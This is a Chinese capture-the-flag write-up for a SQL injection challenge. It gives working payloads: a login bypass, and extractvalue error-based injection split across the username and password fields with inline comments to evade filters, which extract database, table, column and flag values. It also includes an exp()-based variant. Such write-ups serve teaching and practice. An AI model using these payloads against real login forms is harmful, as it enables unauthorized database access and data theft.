加了料的报错注入
思路复现
题目界面文字提示我们post提交username、password。提交username=1&password=1
后返回登录失败,两变量分别加'
后都返回数据库报错信息,说明都可注入且单引号没有被过滤。查看页面源码由注释提示知,后台验证的sql语句:
select * from users where username='$username' and password='$password'
于是提交username=1'or'1&password=1'or'1
返回You are our member, welcome to enter.但这对我们没什么用。考虑报错注入或盲注,测试过滤规则发现# --
注释符被过滤() ,
在username中被过滤,extractvalue updatexml
这些报错函数在password中被过滤。所以要使用报错注入,函数必须写在username中括号逗号写在password中,然后用/**/注释掉sql语句中的and password='
。
提交
username=1' or extractvalue/*&password=*/(1,concat(0x5c,(select database()))) or'1
成功输出数据库名<br>XPATH syntax error: '\error_based_hpf'
这里也可以看出出题人本意也是让我们使用hpf http行内注释。然后依次:
表名:
username=1' or extractvalue/*&password=*/(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()))) or '1
列名:
username=1' or extractvalue/*&password=*/(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name regexp ffll44jj))) or '1
值:
username=1' or extractvalue/*&password=*/(1,concat(0x5c,(select * from ffll44jj))) or'1
可得flag,但是查字段名时遇到了CBC字节翻转那题中同样的问题,报数据库某目录内存不够的错,但可以直接查 * 得字段值。然后查看其他wp,并没有发现类似问题,所以姑且认为是服务器问题?这个问题没有解决但在看别人得wp时发现其他解法。
函数exp()的报错可以注入,但password没有过滤这个函数。
username=1&password=1' or exp(~(select * from ffll44jj)) or '1
关于盲注
由于本题中mid,substr等字符串截取函数均被过滤。所以采用正则表达式匹配,用!<>代替=用regexp ^逐一匹配字符串。盲注详细脚本这里不再多说。
网友评论